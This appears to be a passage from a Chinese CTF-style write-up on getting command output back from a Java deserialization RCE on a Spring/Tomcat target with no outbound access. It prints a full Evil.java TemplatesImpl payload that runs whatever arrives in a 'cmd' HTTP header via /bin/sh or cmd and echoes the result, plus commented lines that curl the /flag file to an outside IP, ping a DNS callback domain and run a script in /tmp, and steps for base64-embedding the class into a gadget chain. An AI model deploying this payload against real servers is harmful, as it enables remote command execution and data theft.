然后就开始了一下午的不出网回显尝试,尝试了各种奇奇怪怪的东西,什么dns,tomcat的各种内存马,Spring的内存马,等等发现都没打通。。。至于为什么我也不知道,不太会Java,这些东西等以后自己慢慢学到了应该就知道了。
最后是找到了这个东西:
https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java
感觉也不算是内存马吧,就是通过上下文还有反射最终来回显。我一开始也想过就是能不能按照Tomcat的Filter的那种思路(因为刚学过)去获取Request,再想办法获取获取Response,不是想办法注册Filter了,而是直接把结果回显,但是想了一下网上可能有现成的就一直在找现成的POC没去找这个东西,结果还是错付了。
写个Evil.java
:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.net.InetAddress; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.ObjectOutputStream; import java.io.*; import java.lang.reflect.Method; import java.util.Scanner; public class Evil extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Evil() throws Exception{ Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getResponse"); Method m1 = c.getMethod("getRequest"); Object resp = m.invoke(o); Object req = m1.invoke(o); // HttpServletRequest Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); getHeader.setAccessible(true); getWriter.setAccessible(true); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd"); String[] commands = new String[3]; String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; if (System.getProperty("os.name").toUpperCase().contains("WIN")) { commands[0] = "cmd"; commands[1] = "/c"; } else { commands[0] = "/bin/sh"; commands[1] = "-c"; } commands[2] = cmd; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next()); writer.getClass().getDeclaredMethod("flush").invoke(writer); writer.getClass().getDeclaredMethod("close").invoke(writer); } } // String[] cmd = {"/bin/sh","-c","curl http://172.16.177.48:39555/ -F file=@/flag"}; // InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); // byte[] bcache = new byte[1024]; // int readSize = 0; // try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){ // while ((readSize =in.read(bcache))!=-1){ // outputStream.write(bcache,0,readSize); // } // String result = outputStream.toString(); // InetAddress.getByName("1m22164l.ns.dns3.cf.").isReachable(3000); // } // } //Runtime.getRuntime().exec("sh /tmp/feng"); //} //catch (Exception ex) { // ex.printStackTrace(); //}
然后javac编译成class,然后cat Evil.class|base64 -w 0
,再把这段base64扔到上面的那个代码里面的byte[][] bytecodes = new byte[][]{Base64.getDecoder().decode();
,生成payload,然后打过去就回显了:
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